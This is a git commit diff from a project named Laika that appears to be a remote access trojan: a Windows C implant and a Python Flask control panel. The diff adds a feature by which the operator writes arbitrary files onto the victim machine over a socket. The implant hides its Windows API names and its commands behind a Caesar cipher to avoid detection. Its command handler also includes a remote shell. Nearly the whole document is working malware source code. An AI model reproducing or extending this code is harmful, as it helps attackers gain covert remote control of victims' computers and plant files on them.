upload marche
sauf avec les .m4v, jsp pourquoi. reste : remove directory
This commit is contained in:
@@ -144,8 +144,8 @@
|
|||||||
<SDLCheck>true</SDLCheck>
|
<SDLCheck>true</SDLCheck>
|
||||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<ConformanceMode>true</ConformanceMode>
|
<ConformanceMode>true</ConformanceMode>
|
||||||
<Optimization>MinSpace</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
<FavorSizeOrSpeed>Neither</FavorSizeOrSpeed>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
|
|||||||
@@ -138,6 +138,42 @@ int download_file(FILE* fp, SOCKET sock) {
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
void upload_file() {
|
void upload_file(SOCKET sock, const char* path) {
|
||||||
|
// Receive file
|
||||||
|
char* buffer = (char*)Api.malloc(BUFFER_SIZE);
|
||||||
|
LPCWSTR wstr = ConvertCharToWChar(path);
|
||||||
|
|
||||||
|
HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (file_handle == INVALID_HANDLE_VALUE) {
|
||||||
|
Api.free(buffer);
|
||||||
|
Api.free((LPWSTR)wstr);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Api.free((LPWSTR)wstr);
|
||||||
|
int num_bytes = 0;
|
||||||
|
int total_bytes = 0;
|
||||||
|
|
||||||
|
int iOptVal = 5000;
|
||||||
|
int iOptLen = sizeof(int);
|
||||||
|
|
||||||
|
Api.setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOptVal, iOptLen);
|
||||||
|
|
||||||
|
// Download the file content from the socket
|
||||||
|
while ((num_bytes = Api.recv(sock, buffer, BUFFER_SIZE, 0)) > 0 || (num_bytes == -1 && Api.WSAGetLastError() == WSAEWOULDBLOCK)) {
|
||||||
|
if (num_bytes > 0) {
|
||||||
|
// Write the received content to the file
|
||||||
|
DWORD bytes_written = 0;
|
||||||
|
if (!Api.WriteFile(file_handle, buffer, num_bytes, &bytes_written, NULL) || bytes_written != num_bytes) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
total_bytes += num_bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close the file handle
|
||||||
|
Api.free(buffer);
|
||||||
|
Api.CloseHandle(file_handle);
|
||||||
|
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
@@ -18,4 +18,4 @@ int get_object_info(char* path, struct stat* fileinfo);
|
|||||||
int get_drives_list(char* buf);
|
int get_drives_list(char* buf);
|
||||||
char* get_file_list(const char* dirPath, int* numFiles);
|
char* get_file_list(const char* dirPath, int* numFiles);
|
||||||
int download_file(FILE* fp, SOCKET sock);
|
int download_file(FILE* fp, SOCKET sock);
|
||||||
void upload_file();
|
void upload_file(SOCKET sock, const char* path);
|
||||||
13
Laika/main.c
13
Laika/main.c
@@ -346,7 +346,20 @@ retry:
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (Api.strncmp(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file
|
if (Api.strncmp(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file
|
||||||
|
char* path = (char*)Api.malloc(MAX_PATH);
|
||||||
|
|
||||||
|
//Receive a reply from the server
|
||||||
|
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||||
|
{
|
||||||
|
//recv failed
|
||||||
|
Api.free(path);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
upload_file(sock, CAESAR_DECRYPT(path));
|
||||||
|
|
||||||
|
Api.free(path);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
|
if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ void InitApis() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Api.CreateFileW = (TCreateFileW)GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
|
||||||
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
|
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
|
||||||
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
|
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
|
||||||
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
|
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
|
||||||
@@ -27,6 +28,7 @@ void InitApis() {
|
|||||||
Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~"));
|
Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~"));
|
||||||
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
|
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
|
||||||
Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
|
Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
|
||||||
|
Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw"));
|
||||||
|
|
||||||
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
|
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
|
||||||
if (!hMsvcrt) {
|
if (!hMsvcrt) {
|
||||||
@@ -50,6 +52,7 @@ void InitApis() {
|
|||||||
Api.fopen = (Tfopen)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("ktujs"));
|
Api.fopen = (Tfopen)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("ktujs"));
|
||||||
Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj"));
|
Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj"));
|
||||||
Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi"));
|
Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi"));
|
||||||
|
Api.fwrite = (Tfwrite)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("k|wnyj"));
|
||||||
|
|
||||||
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
|
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
|
||||||
if (!hWininet) {
|
if (!hWininet) {
|
||||||
@@ -66,6 +69,7 @@ void InitApis() {
|
|||||||
Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu"));
|
Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu"));
|
||||||
Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw"));
|
Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw"));
|
||||||
Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy"));
|
Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy"));
|
||||||
|
Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy"));
|
||||||
}
|
}
|
||||||
|
|
||||||
void FreeApis() {
|
void FreeApis() {
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ typedef SOCKET(WINAPI* Tsocket)(int, int, int);
|
|||||||
typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA);
|
typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA);
|
||||||
typedef int(WINAPI* TWSAGetLastError)(void);
|
typedef int(WINAPI* TWSAGetLastError)(void);
|
||||||
typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*);
|
typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*);
|
||||||
|
typedef int(WINAPI* Tsetsockopt)(SOCKET, int, int, const char*, int);
|
||||||
|
|
||||||
typedef void* (WINAPI* Tmemset)(void*, int, size_t);
|
typedef void* (WINAPI* Tmemset)(void*, int, size_t);
|
||||||
typedef void* (WINAPI* Tmalloc)(size_t);
|
typedef void* (WINAPI* Tmalloc)(size_t);
|
||||||
@@ -35,7 +36,9 @@ typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ..
|
|||||||
typedef FILE* (WINAPI* Tfopen)(char const*, char const*);
|
typedef FILE* (WINAPI* Tfopen)(char const*, char const*);
|
||||||
typedef int(WINAPI* Tfclose)(FILE*);
|
typedef int(WINAPI* Tfclose)(FILE*);
|
||||||
typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*);
|
typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*);
|
||||||
|
typedef size_t(WINAPI* Tfwrite)(void const*, size_t, size_t, FILE*);
|
||||||
|
|
||||||
|
typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||||
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||||
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||||
typedef BOOL(WINAPI* TCloseHandle)(HANDLE);
|
typedef BOOL(WINAPI* TCloseHandle)(HANDLE);
|
||||||
@@ -51,6 +54,7 @@ typedef BOOL(WINAPI* TFreeLibrary)(HMODULE);
|
|||||||
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
|
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
|
||||||
typedef BOOL(WINAPI* TFindClose)(HANDLE);
|
typedef BOOL(WINAPI* TFindClose)(HANDLE);
|
||||||
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
|
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
|
||||||
|
typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int);
|
||||||
|
|
||||||
typedef struct ApiList {
|
typedef struct ApiList {
|
||||||
Tconnect connect;
|
Tconnect connect;
|
||||||
@@ -63,12 +67,14 @@ typedef struct ApiList {
|
|||||||
TWSAStartup WSAStartup;
|
TWSAStartup WSAStartup;
|
||||||
TWSAGetLastError WSAGetLastError;
|
TWSAGetLastError WSAGetLastError;
|
||||||
Tselect select;
|
Tselect select;
|
||||||
|
Tsetsockopt setsockopt;
|
||||||
|
|
||||||
Tmemset memset;
|
Tmemset memset;
|
||||||
Tmalloc malloc;
|
Tmalloc malloc;
|
||||||
Tfree free;
|
Tfree free;
|
||||||
Tstrncmp strncmp;
|
Tstrncmp strncmp;
|
||||||
|
|
||||||
|
TCreateFileW CreateFileW;
|
||||||
TReadFile ReadFile;
|
TReadFile ReadFile;
|
||||||
TWriteFile WriteFile;
|
TWriteFile WriteFile;
|
||||||
TCloseHandle CloseHandle;
|
TCloseHandle CloseHandle;
|
||||||
@@ -84,6 +90,7 @@ typedef struct ApiList {
|
|||||||
TGetProcAddress GetProcAddress;
|
TGetProcAddress GetProcAddress;
|
||||||
TFindClose FindClose;
|
TFindClose FindClose;
|
||||||
TGetLogicalDrives GetLogicalDrives;
|
TGetLogicalDrives GetLogicalDrives;
|
||||||
|
TMultiByteToWideChar MultiByteToWideChar;
|
||||||
|
|
||||||
Tmbstowcs mbstowcs;
|
Tmbstowcs mbstowcs;
|
||||||
Twcstombs wcstombs;
|
Twcstombs wcstombs;
|
||||||
@@ -99,6 +106,7 @@ typedef struct ApiList {
|
|||||||
Tfopen fopen;
|
Tfopen fopen;
|
||||||
Tfclose fclose;
|
Tfclose fclose;
|
||||||
Tfread fread;
|
Tfread fread;
|
||||||
|
Tfwrite fwrite;
|
||||||
} API;
|
} API;
|
||||||
|
|
||||||
void InitApis();
|
void InitApis();
|
||||||
|
|||||||
@@ -30,6 +30,15 @@ char* CAESAR_DECRYPT(char* in) {
|
|||||||
return in;
|
return in;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
LPCWSTR ConvertCharToWChar(const char* str)
|
||||||
|
{
|
||||||
|
int len = strlen(str) + 1;
|
||||||
|
int wlen = Api.MultiByteToWideChar(CP_ACP, 0, str, len, NULL, 0);
|
||||||
|
LPWSTR wstr = (LPWSTR)Api.malloc(wlen * sizeof(WCHAR));
|
||||||
|
Api.MultiByteToWideChar(CP_ACP, 0, str, len, wstr, wlen);
|
||||||
|
return wstr;
|
||||||
|
}
|
||||||
|
|
||||||
void Sleep_(int time_to_wait) {
|
void Sleep_(int time_to_wait) {
|
||||||
/*
|
/*
|
||||||
C'est la derni<6E>re fonction qu'il reste <20> faire j'en ai marre du no CRT
|
C'est la derni<6E>re fonction qu'il reste <20> faire j'en ai marre du no CRT
|
||||||
|
|||||||
@@ -8,5 +8,6 @@
|
|||||||
|
|
||||||
char* CAESAR(char* in);
|
char* CAESAR(char* in);
|
||||||
char* CAESAR_DECRYPT(char* in);
|
char* CAESAR_DECRYPT(char* in);
|
||||||
|
LPCWSTR ConvertCharToWChar(const char* str);
|
||||||
void Sleep_(int time_to_wait);
|
void Sleep_(int time_to_wait);
|
||||||
void Message();
|
void Message();
|
||||||
@@ -139,13 +139,9 @@ def recv_folder(client, path, addr, i) :
|
|||||||
|
|
||||||
else :
|
else :
|
||||||
recv_folder(client, path + "/" + f, addr, i + "\\" + f)
|
recv_folder(client, path + "/" + f, addr, i + "\\" + f)
|
||||||
"""
|
|
||||||
#call download folder
|
|
||||||
client.send(CAESAR("download_dir\0").encode())
|
|
||||||
|
|
||||||
client.send(CAESAR(path + "\0").encode())
|
def upload_file(fp, sock):
|
||||||
"""
|
sock.send(fp.read())
|
||||||
|
|
||||||
|
|
||||||
app = Flask(__name__)
|
app = Flask(__name__)
|
||||||
# Disable Flask's default logging
|
# Disable Flask's default logging
|
||||||
@@ -211,7 +207,15 @@ def interact() :
|
|||||||
return 'no file selected'
|
return 'no file selected'
|
||||||
|
|
||||||
print(f"{filename} --> {path_file_ex_2}")
|
print(f"{filename} --> {path_file_ex_2}")
|
||||||
|
|
||||||
|
client.send(CAESAR("upload_file\0").encode())
|
||||||
|
|
||||||
|
file_parts = filename.split('\\')
|
||||||
|
client.send(CAESAR(path_file_ex_2 + file_parts[len(file_parts)-1] + "\0").encode())
|
||||||
|
|
||||||
|
fp = open(filename, "rb")
|
||||||
|
upload_file(fp, client)
|
||||||
|
|
||||||
case "remove" :
|
case "remove" :
|
||||||
for i in files :
|
for i in files :
|
||||||
path = path_file_ex_2 + i
|
path = path_file_ex_2 + i
|
||||||
|
|||||||
Reference in New Issue
Block a user